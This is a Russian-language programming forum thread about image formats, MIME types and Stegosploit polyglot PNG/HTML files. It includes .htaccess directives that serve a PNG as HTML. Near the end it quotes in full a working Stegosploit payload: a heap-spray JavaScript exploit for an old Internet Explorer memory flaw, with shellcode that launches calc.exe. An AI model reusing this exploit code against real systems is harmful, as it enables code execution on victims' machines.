Помощь - Поиск - Пользователи - Календарь
Полная версия этой страницы: GIF/JPEG/HTML
DF2 :: ФОРУМЫ > Основные форумы > Софт и железо > Программирование / Coding
Страницы: 1, 2
tolich

Откуда

Отделилось от обсуждение Дервиша. Потому что внезапно ушло слишком далеко от темы.


Цитата(Orzie @ 06 Aug 2016, 20:59) *
Немного особой польской магии с анимированными жпг для апгрейда Вора. Меч при атаке выглядит странновато, но на релиз пойдёт.

Тащемта, jpeg не умеет в анимацию, это gif.
DrSlash
tolich, в этом и вся суть польской магии — могут пережать непережимаемое, текст ссылки-то глянь)
tolich
При чём тут ссылка, формат gif. До магии это недостаточно развитая технология.
hippocamus
Цитата(tolich @ 06 Aug 2016, 22:05) *
Тащемта, jpeg не умеет в анимацию, это gif.
Анимированный jpeg - это svg
https://habrahabr.ru/post/201444/
tolich
Не, анимированный JPEG это MPEG. =).gif
t800
А зачем спорить? Откройте этот файл в HEX Editor и посмотрите. Конкретно в этом файле в HEX редакторе видно что это GIF. В заголовке написано GIF89 Created with ezgif.com gif maker
Эроласт
Цитата
текст ссылки-то глянь

Какая разница, какая там ссылка? В ссылке может быть абсолютно что угодно, на содержимое это никак не влияет, см, например, http://bibrick.net/ti3starter/session83/map - здесь расширения вообще нет, а картинка есть.
Если интересно, тип контента передается специальным заголовком во время запроса.

Цитата
Откройте этот файл в HEX Editor

Зачем? Достаточно открыть информацию о странице.
t800
Цитата(Эроласт @ 07 Aug 2016, 16:26) *
Зачем? Достаточно открыть информацию о странице.

Зато в информации о странице не написано что этот GIF был сделан с помощью этого он-лайт редактора
http://ezgif.com/ а в Hex Editor это видно. ВОТ
Эроласт
Цитата(t800 @ 07 Aug 2016, 16:31) *
Зато в информации о странице не написано что этот GIF был сделан с помощью этого он-лайт редактора
http://ezgif.com/ а в Hex Editor это видно. ВОТ

И зачем это надо? Разговор шел о формате изображения. hex-редактор еще поставить надо, а браузер у всех есть.
t800
Цитата(Эроласт @ 07 Aug 2016, 16:55) *
Цитата(t800 @ 07 Aug 2016, 16:31) *
Зато в информации о странице не написано что этот GIF был сделан с помощью этого он-лайт редактора
http://ezgif.com/ а в Hex Editor это видно. ВОТ

И зачем это надо? Разговор шел о формате изображения. hex-редактор еще поставить надо, а браузер у всех есть.


А откуда берет информацию браузер? Из файла. Я думаю что лучше самому посмотреть что там внутри. Ведь браузер может и ошибаться. А HEX редактор на самом деле и не обязателе чтобы просмотреть тект заголовков можно и обычном блокноте открыть. ВОТ





Эроласт
Цитата
Я думаю что лучше самому посмотреть что там внутри.

Чем лучше?

Цитата
Ведь браузер может и ошибаться.

С какой стати? Если б браузер ошибся в формате изображения, он не смог бы его вывести.
DRONыч
Цитата
Ведь браузер может и ошибаться.

Цитата
С какой стати? Если б браузер ошибся в формате изображения, он не смог бы его вывести.

Браузер не ошибается, он видит, что внутри на самом деле gif, а не jpeg, потому и открывает нормально.
feanor
Цитата
А откуда берет информацию браузер? Из файла.

Из маймтайпа тащемта, нет?
t800
Зачем спорить если можно один раз показать wink.gif
Вот изображение (как бы)



Браузер его показывает как изображение а на САМОМ деле это никакое не изображение а Stegosploit (Безвредный).
ЗЫ Вообще он вроде как должен какое окошко с Ха-ха-ха еще рисовать. Просто я еще не разобралася как его надо правильно настраивать. ВОТ.
feanor
Цитата
Браузер его показывает как изображение а на САМОМ деле это никакое не изображение а Stegosploit (Безвредный).
Я замечу, что изображением оно не перестает быть от того, что используется как контейнер для хтмлки.
Эроласт
Цитата
Из маймтайпа тащемта, нет?

Да. В http перед передачей данных происходит "рукопожатие" - обмен заголовками с метаинформацией. Вот так:

> - заголовки браузера, < - заголовки сервера, * - комментарии утилиты, кракозябры внизу - само изображение (оно небольшое, это прозрачная точка). Самый последний заголовок, очевидно, и определяет тип файла. Если указать в нем неправильный тип, браузер выдаст ошибку.

Цитата
на САМОМ деле это никакое не изображение

Это еще почему? От того, что в изображение между реальных данных понапихали всякой херни, изображением оно быть не перестает.
Corkes
Почему бы не продолжить дискуссию здесь?
hippocamus
Ну да, это примерно как к mp3 можно прикрепить картинку - и проводник Windows будет в эскизах страниц её отрисовывать. Но от этого файл не перестаёт быть музыкой.
t800
Цитата(Эроласт @ 07 Aug 2016, 21:26) *
Цитата
на САМОМ деле это никакое не изображение

Это еще почему? От того, что в изображение между реальных данных понапихали всякой херни, изображением оно быть не перестает.


Ну изображение оно же ничего не делает, а Stegosploit может выполнять всякие действия. Например запустить блокнот.
Простое изображение так не может.
feanor
Этот файл отвечает требованиям к формату PNG, поэтому он остается файлом формата PNG.
То, что при этом он отвечает и требованиям к какому-то иному формату, этого не отменяет.

Расширения и маймтайпы при этом лишь подсказки (для файлменеджеров/браузеров соответственно), да.
t800
Цитата(feanor @ 07 Aug 2016, 22:13) *
Этот файл отвечает требованиям к формату PNG, поэтому он остается файлом формата PNG.
То, что при этом он отвечает и требованиям к какому-то иному формату, этого не отменяет.

Расширения и маймтайпы при этом лишь подсказки (для файлменеджеров/браузеров соответственно), да.


А если файл отвечает требованиям HTML и PNG то какой это файл?
Вот сделал работающий пример

http://wiki.kvkozyrev.org/fheroes/sploit/test.png

И вот еще

http://wiki.kvkozyrev.org/fheroes/sploit/test.html
Браузер думает что это страница, но он ошибается потому что это никакая не страница а тот же самый PNG wink.gif
Поэтому я думаю надо смотреть что внутри, потому что браузер легко обмануть. ВОТ.

Эроласт
Цитата
А если файл отвечает требованиям HTML и PNG то какой это файл

А вот это уже тебе решать.

Цитата
Браузер думает что это страница

Ничего он не думает. Браузер распознает так, как ему указали. В данном случае ему был указан Content-Type html, и он распарсил документ, как страницу.
Признайся, ты производил какую-то конфигурацию на стороне сервера?)
Цитата
$ curl --head http://wiki.kvkozyrev.org/fheroes/sploit/test.png
HTTP/1.1 200 OK
Date: Mon, 08 Aug 2016 05:19:21 GMT
Server: Apache/2.2.22 (Ubuntu)
Last-Modified: Mon, 08 Jun 2015 06:03:25 GMT
ETag: "f5c9b-51030-517fb665aa540"
Accept-Ranges: bytes
Content-Length: 331824
Content-Type: text/html


http://bibrick.net/test.png - это твое же изображение (не веришь - сравни размер в байтах), но никакого сообщения оно не выводит. Как думаешь, почему?
feanor
Цитата
А если файл отвечает требованиям HTML и PNG то какой это файл?
и HTML, и PNG, очевидно же
Эроласт
И это, кстати, нифига не эксплойт. Прав у него не больше, чем у любой другой страницы, алерт - не уязвимость.
Просто забавная стеганография.
t800
Цитата(Эроласт @ 08 Aug 2016, 11:46) *
Цитата
А если файл отвечает требованиям HTML и PNG то какой это файл

А вот это уже тебе решать.

Цитата
Браузер думает что это страница

Ничего он не думает. Браузер распознает так, как ему указали. В данном случае ему был указан Content-Type html, и он распарсил документ, как страницу.
Признайся, ты производил какую-то конфигурацию на стороне сервера?)
Цитата
$ curl --head http://wiki.kvkozyrev.org/fheroes/sploit/test.png
HTTP/1.1 200 OK
Date: Mon, 08 Aug 2016 05:19:21 GMT
Server: Apache/2.2.22 (Ubuntu)
Last-Modified: Mon, 08 Jun 2015 06:03:25 GMT
ETag: "f5c9b-51030-517fb665aa540"
Accept-Ranges: bytes
Content-Length: 331824
Content-Type: text/html


http://bibrick.net/test.png - это твое же изображение (не веришь - сравни размер в байтах), но никакого сообщения оно не выводит. Как думаешь, почему?


Потому что чтобы выводило, надо в каталог положить еще один файлик wink.gif
Называется он .htaccess а в нем написать такие команды. Вот!

<FilesMatch "\.png$">
ForceType text/html
SetHandler text/html
</FilesMatch>





tolich
Теперь этот котёнок просто обязан стать частью лайнапа Дервиша.
Doctor Tea
Цитата(hippocamus @ 07 Aug 2016, 19:37) *
Ну да, это примерно как к mp3 можно прикрепить картинку - и проводник Windows будет в эскизах страниц её отрисовывать. Но от этого файл не перестаёт быть музыкой.

но если представить графически звуовые колебания и сохранить в другом формате, то будет таки картинка.
Эроласт
Цитата
Потому что чтобы выводило, надо в каталог положить еще один файлик wink.gif
Называется он .htaccess а в нем написать такие команды. Вот!

Лол, а если у меня не апаче, а, например, nginx?) Тоже .htaccess вставлять?)
Но, в общем-то, да, я тебе об этом и говорил.

Цитата
<FilesMatch "\.png$">
ForceType text/html
SetHandler text/html
</FilesMatch>

Ты вроде как пытаешься программировать, но почему-то бездумно вставляешь код, и даже не пытаешься разобраться, что это такое и почему из-за него все заработало. По крайней мере, так выглядит со стороны.

С помощью этих директив ты приказал браузеру обрабатывать документ как html. Браузер не ошибается, он послушно исполняет твою команду. Замени text/html на image/png, и браузер выведет документ как изображение. Замени text/html на image/jpeg, и браузер вообще ничего не выведет, потому что bad encoding. Все просто.
t800
Цитата(Эроласт @ 08 Aug 2016, 12:06) *
И это, кстати, нифига не эксплойт. Прав у него не больше, чем у любой другой страницы, алерт - не уязвимость.
Просто забавная стеганография.


Ну индус который Самуил Шах говорит, что в картинку можно запихать и другие команды который будут делать что нибудь еще. Например запускать калькулятор и антивирусы их не заметят потому, что не проверяет картинок,
а это картинка действительно безвредная, зачем бы я стал вредную выкладывать no.gif



Цитата(Эроласт @ 08 Aug 2016, 12:31) *
Цитата
Потому что чтобы выводило, надо в каталог положить еще один файлик wink.gif
Называется он .htaccess а в нем написать такие команды. Вот!

Лол, а если у меня не апаче, а, например, nginx?) Тоже .htaccess вставлять?)
Но, в общем-то, да, я тебе об этом и говорил.

Цитата
<FilesMatch "\.png$">
ForceType text/html
SetHandler text/html
</FilesMatch>

Ты вроде как пытаешься программировать, но почему-то бездумно вставляешь код, и даже не пытаешься разобраться, что это такое и почему из-за него все заработало. По крайней мере, так выглядит со стороны.

С помощью этих директив ты приказал браузеру обрабатывать документ как html. Браузер не ошибается, он послушно исполняет твою команду. Замени text/html на image/png, и браузер выведет документ как изображение. Замени text/html на image/jpeg, и браузер вообще ничего не выведет, потому что bad encoding. Все просто.


Ну я понял чтобы картинка заработала надо с ней файл .htaccess положить который обманет браузер.
Эроласт
Цитата(t800 @ 08 Aug 2016, 12:39) *
Ну индус который Самуил Шах говорит, что в картинку можно запихать и другие команды который будут делать что нибудь еще. Например запускать калькулятор

Где говорит?

Я нашел это - http://conference.hitb.org/hitbsecconf2015...-with-pictures/
Цитата
Stegosploit is the result of malicious exploit code hidden within pixels of the image carrying it. The image however, is a multi format container, which also contains the code required to decode the steganographically encoded pixels to execute the exploit. A single file can be rendered as a perfectly valid HTML file, executed as a perfectly valid Javascript file, and displayed as a perfectly valid image, all at the same time.

Этот трюк позволяет исполнять JS, а не что угодно. Навредить здесь никак нельзя.
Нет, конечно, чисто теоретически могут быть уязвимости уже на уровне JS, но следует помнить, что при публикации таковых их мгновенно закрывают. И стегосплойт тут совершенно не при чем, он нужен лишь для того, чтобы сокрыть код.

Цитата
надо с ней файл .htaccess положить

Ну смотри, я положил - http://bibrick.net/.htaccess.
И все равно никакого сообщения не выводится - http://bibrick.net/test.png.

Цитата
который обманет браузер

Не обманет, а прикажет. Это не обман.
Ты в курсе, как переводится force type, set handler?
tolich
flood.gif
t800
Цитата(tolich @ 08 Aug 2016, 13:09) *
flood.gif


Ну надо его наверно перенести куда-нибудь

Цитата(Эроласт @ 08 Aug 2016, 13:06) *
нужен лишь для того, чтобы сокрыть код.

Цитата
надо с ней файл .htaccess положить

Ну смотри, я положил - http://bibrick.net/.htaccess.
И все равно никакого сообщения не выводится - http://bibrick.net/test.png.


Наверное Вы как то не правильно положили. И странно что у вам сам файл .htaccess скачивается.
У меня его не видно. Может в этом дело почему у вас сообщение не работает?

Эроласт
Цитата(t800 @ 08 Aug 2016, 13:18) *
Наверное Вы как то не правильно положили. И странно что у вам сам файл .htaccess скачивается.
У меня его не видно. Может в этом дело почему у вас сообщение не работает?

Дело в том, что у меня не apache, а nginx. Если бы ты заглянул в заголовки, ты бы это увидел.
t800
Цитата(Эроласт @ 08 Aug 2016, 13:22) *
Цитата(t800 @ 08 Aug 2016, 13:18) *
Наверное Вы как то не правильно положили. И странно что у вам сам файл .htaccess скачивается.
У меня его не видно. Может в этом дело почему у вас сообщение не работает?

Дело в том, что у меня не apache, а nginx. Если бы ты заглянул в заголовки, ты бы это увидел.


Значит надо както придумать какой файлик надо полжить рядом чтобы ваш сайт говорил браузеру что картинка это не картинка а html и тогда у вас тоже заработает.
Эроласт
Цитата(t800 @ 08 Aug 2016, 13:34) *
Значит надо както придумать какой файлик надо полжить рядом чтобы ваш сайт говорил браузеру что картинка это не картинка а html и тогда у вас тоже заработает.

Я-то прекрасно знаю, что надо сделать. Только это не "рядом файлик положить".
Я хочу, чтобы ты понял. Нужно установить заголовок ContentType на значение text/html, я же объяснял. Как это сделать - дело десятое. В случае nginx это делается через конфигурационный файл.
t800
Цитата(Эроласт @ 08 Aug 2016, 13:53) *
Цитата(t800 @ 08 Aug 2016, 13:34) *
Значит надо както придумать какой файлик надо полжить рядом чтобы ваш сайт говорил браузеру что картинка это не картинка а html и тогда у вас тоже заработает.

Я-то прекрасно знаю, что надо сделать. Только это не "рядом файлик положить".
Я хочу, чтобы ты понял. Нужно установить заголовок ContentType на значение text/html, я же объяснял. Как это сделать - дело десятое. В случае nginx это делается через конфигурационный файл.



Про text/html я уже понял. Можно просто картинку в html переименовать. Тогда браузер тоже решил что это html.
Просто думаю когда файликом оно удобней. Не надо ничего где то еще менять.





tolich
Цитата(t800 @ 08 Aug 2016, 10:18) *
Ну надо его наверно перенести куда-нибудь
Знаешь, а ты прав. Done.
t800
Вот собрал скрипт чтобы подписывать изображения

Нажмите для просмотра прикрепленного файла

Запускать надо так

Код
python2 sign.py -i in.png -p sign.html -o out.png


И тогда получатся вот такое изображение



Которое нормально вставляется куда угодно Но если открыть его в полном размере

http://wiki.kvkozyrev.org/fheroes/sploit/girkin17sign.png



Для просмотроа или сохранения будет предупреждение с подписью.
Эроласт
А нафига это нужно-то? Боишься, как бы графику не воровали?)
t800
Цитата(Эроласт @ 08 Aug 2016, 23:29) *
Боишься, как бы графику не воровали?


Ну вот же Оrziе переживал, что его графику кто-нибудь без спросу будет с форума брать, и Feаnоr тоже, а вот теперь я для них скрипт собрал! Теперь никто их графику не возьмёт, а если возьмёт, то стыдно будет! Вот Гехард Стейн, например. Он все кампании из T-800 mod засунул в свою сборку и даже в авторах не написал, у кого взял. А теперь он следующую кампанию так без спросу просто взять и вставить уже не сможет, так как будет появлятся надпись с правильными credits. И ему будет стыдно! Вот!
hippocamus
И это срабатывает только с png? Jpeg так можно заразить?
feanor
Лол, мне сегодня тред как раз в жилу пришелся.
На работе побырику склепал отдачу макетов писем через генерацию хтмлки с маймтайпом ворда и доковским расширением.
Удивительный мир программирования, да.

Doctor Tea
Цитата(t800 @ 08 Aug 2016, 21:36) *
Цитата(Эроласт @ 08 Aug 2016, 23:29) *
Боишься, как бы графику не воровали?


Ну вот же Оrziе переживал, что его графику кто-нибудь без спросу будет с форума брать, и Feаnоr тоже, а вот теперь я для них скрипт собрал! Теперь никто их графику не возьмёт, а если возьмёт, то стыдно будет! Вот Гехард Стейн, например. Он все кампании из T-800 mod засунул в свою сборку и даже в авторах не написал, у кого взял. А теперь он следующую кампанию так без спросу просто взять и вставить уже не сможет, так как будет появлятся надпись с правильными credits. И ему будет стыдно! Вот!

Те же единороссы уже много лет народ обворовывают. Это типаж такой. И твой Стйен такой же.
t800
Цитата(hippocamus @ 08 Aug 2016, 23:46) *
И это срабатывает только с png? Jpeg так можно заразить?


Ну вообще свой stegosploit Самуил Шах для JPG и сделал просто его скрипт для T-800 mod не подходит потому что все картинки для мода мне же надо в PNG делать, поэтому я сделал сборку на скрипте Бхарадвая Мачирая который тот написал как раз для PNG за что ему большое спасиба! barb_metal.gif
hippocamus
t800
и какой вредоносный javascript-код может нести этот стегосплойт?
Ничего более опасного, чем зацикленный alert или openwindow (и то - нормальные браузеры отловят и остановят такой сценарий) - не представляю. Ну или какой-нибудь спам рассылать.
t800
Цитата(hippocamus @ 09 Aug 2016, 01:45) *
t800
и какой вредоносный javascript-код может нести этот стегосплойт?
Ничего более опасного, чем зацикленный alert или openwindow (и то - нормальные браузеры отловят и остановят такой сценарий) - не представляю. Ну или какой-нибудь спам рассылать.


Ну Самуил Шах говорит что если вcтавить в изображение вот это

Код
function H5(){this.d=[];this.m=new Array();this.f=new Array()}H5.prototype.flat
ten=function(){for(var f=0;f<this.d.length;f++){var n=this.d[f];if(typeof(n)=='
number'){var c=n.toString(16);while(c.length<8){c='0'+c}var l=function(a){retur
n(parseInt(c.substr(a,2),16))};var g=l(6),h=l(4),k=l(2),m=l(0);this.f.push(g);t
his.f.push(h);this.f.push(k);this.f.push(m)}if(typeof(n)=='string'){for(var d=0
;d<n.length;d++){this.f.push(n.charCodeAt(d))}}}};H5.prototype.fill=function(a)
{for(var c=0,b=0;c<a.data.length;c++,b++){if(b>=8192){b=0}a.data[c]=(b<this.f.l
ength)?this.f[b]:255}};H5.prototype.spray=function(d){this.flatten();for(var b=
0;b<d;b++){var c=document.createElement('canvas');c.width=131072;c.height=1;var
a=c.getContext('2d').createImageData(c.width,c.height);this.fill(a);this.m[b]=
a}};H5.prototype.setData=function(a){this.d=a};var flag=false;var heap=new H5()
;try{location.href='ms-help:'}catch(e){}function spray(){var a='\xfc\xe8\x89\x0
0\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x
28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\
xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a
\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x3
1\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x
75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\
x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb
\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf
0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\x
bb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00';var
c=[];for(var b=0;b<1104;b+=4){c.push(1371756628)}c.push(1371756627);c.push(137
1351263);var f=[1371756626,215,2147353344,1371367674,202122408,4294967295,20212
2400,202122404,64,202116108,202121248,16384];var d=c.concat(f);d.push(a);heap.s
etData(d);heap.spray(256)}function changer(){var c=new Array();for(var a=0;a<10
0;a++){c.push(document.createElement('img'))}if(flag){document.getElementById('
fm').innerHTML='';CollectGarbage();var b='\u2020\u0c0c';for(var a=4;a<110;a+=2)
{b+='\u4242'}for(var a=0;a<c.length;a++){c[a].title=b}}}function run(){spray();
document.getElementById('c2').checked=true;document.getElementById('c2').onprop
ertychange=changer;flag=true;document.getElementById('fm').reset()}setTimeout(r
un,1000);


То стегосплоит запускает калькулятор (работает под Windows 7 и в IE ) я не проверял потому, что для этого нужна Windows 7 да мне это и не надо чтобы запускался калькулятор я же хотел сделать чтобы stegosploilt выводил кредитсы.
Эроласт
Цитата
работает под Windows 7 и в IE

А, лол, ну да, IE8 - то еще решето. Здесь его уязвимость с памятью эксплуатируется.
Вот только вопрос - кого ты атаковать собрался?) Этим браузером уже никто в здравом уме не пользуется.
t800
Цитата(Эроласт @ 09 Aug 2016, 10:32) *
Цитата
работает под Windows 7 и в IE

А, лол, ну да, IE8 - то еще решето. Здесь его уязвимость с памятью эксплуатируется.
Вот только вопрос - кого ты атаковать собрался?) Этим браузером уже никто в здравом уме не пользуется.


Атаковать? Я вобще никого не собирался атаковать. Просто я хотел сделать так чтобы PNG картинки из T-800 Mod могли выводить кредитсы. Я написал в гугле "Исполняемый PNG" нашел статью про Stegosploit, потом нашел скрипт Бхарадвая Мачирая, сделал как он пишет и все получилось. Вот!
tolich
Походу, это уже тренд.
feanor
Цитата
Здесь его уязвимость с памятью эксплуатируется.
А можно гнусных подробностей (лень гуглить, да)?

Цитата
Этим браузером уже никто в здравом уме не пользуется.
В здравом - нет, а так - добро пожаловать в не менее удивительный мир корпоративных ИС.
Для просмотра полной версии этой страницы, пожалуйста, пройдите по ссылке.
Форум IP.Board © 2001-2024 IPS, Inc.